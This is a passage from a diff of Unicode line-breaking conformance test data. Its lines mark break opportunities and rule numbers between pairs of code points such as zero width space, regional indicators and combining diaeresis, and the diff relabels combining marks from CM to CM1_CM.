× 200B ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 200B × 0020 ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 200B ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 200B ÷ 0308 ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 200B ÷ 261D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 200B × 0020 ÷ 261D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 200B ÷ 0308 ÷ 261D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 261D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 200B ÷ 1F3FB ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 200B × 0020 ÷ 1F3FB ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 200B ÷ 0308 ÷ 1F3FB ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 200B ÷ 0001 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 200B × 0020 ÷ 0001 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 200B ÷ 0308 × 0001 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 200B ÷ 200D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 200B × 0020 ÷ 200D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 200B ÷ 0308 × 200D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 200D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 200B ÷ 00A7 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 200B × 0020 ÷ 00A7 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 200B ÷ 0308 × 00A7 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 200B ÷ 0308 × 00A7 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 00A7 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 200B ÷ 50005 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 200B × 0020 ÷ 50005 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 200B ÷ 0308 × 50005 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 200B ÷ 0308 × 50005 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 50005 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 200B ÷ 0E01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 200B × 0020 ÷ 0E01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 200B ÷ 0308 × 0E01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 200B ÷ 0308 × 0E01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0E01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 200B ÷ 3041 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 200B × 0020 ÷ 3041 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 200B ÷ 0308 × 3041 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 200B ÷ 0308 × 3041 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 3041 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 1F1E6 ÷ 0023 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 1F1E6 × 0020 ÷ 0023 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 0023 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 0023 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 1F1E6 ÷ 2014 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 1F1E6 × 0020 ÷ 2014 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 2014 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 2014 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 1F1E6 × 0009 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 1F1E6 × 0020 ÷ 0009 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 1F1E6 × 0308 × 0009 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1F1E6 × 0308 × 0009 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 1F1E6 ÷ 00B4 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 1F1E6 × 0020 ÷ 00B4 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 1F1E6 × 0308 ÷ 00B4 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1F1E6 × 0308 ÷ 00B4 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 1F1E6 × 000B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 1F1E6 × 0020 × 000B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 1F1E6 × 0308 × 000B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 000B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1F1E6 × 0308 × 000B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 000B ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 1F1E6 ÷ FFFC ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 1F1E6 × 0020 ÷ FFFC ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 1F1E6 × 0308 ÷ FFFC ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1F1E6 × 0308 ÷ FFFC ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 1F1E6 × 007D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 1F1E6 × 0020 × 007D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 1F1E6 × 0308 × 007D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 007D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1F1E6 × 0308 × 007D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 007D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 1F1E6 × 0029 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 1F1E6 × 0020 × 0029 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1F1E6 × 0308 × 0029 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 0029 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1F1E6 × 0001 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 1F1E6 × 0020 ÷ 0001 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 1F1E6 × 0308 × 0001 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 1F1E6 × 0308 × 0029 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 0029 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 1F1E6 × 000D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 1F1E6 × 0020 × 000D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 1F1E6 × 0308 × 000D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 000D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1F1E6 × 0308 × 000D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 000D ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 1F1E6 × 0021 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 1F1E6 × 0020 × 0021 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 1F1E6 × 0308 × 0021 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 × 0021 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1F1E6 × 0308 × 0021 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 × 0021 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 1F1E6 × 00A0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 1F1E6 × 0020 ÷ 00A0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 1F1E6 × 0308 × 00A0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1F1E6 × 0308 × 00A0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 1F1E6 ÷ AC00 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 1F1E6 × 0020 ÷ AC00 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 1F1E6 × 0308 ÷ AC00 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1F1E6 × 0308 ÷ AC00 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 1F1E6 ÷ AC01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 1F1E6 × 0020 ÷ AC01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 1F1E6 × 0308 ÷ AC01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 1F1E6 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1F1E6 × 0308 ÷ AC01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1F1E6 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 1F1E6 ÷ 05D0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 1F1E6 × 0020 ÷ 05D0 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
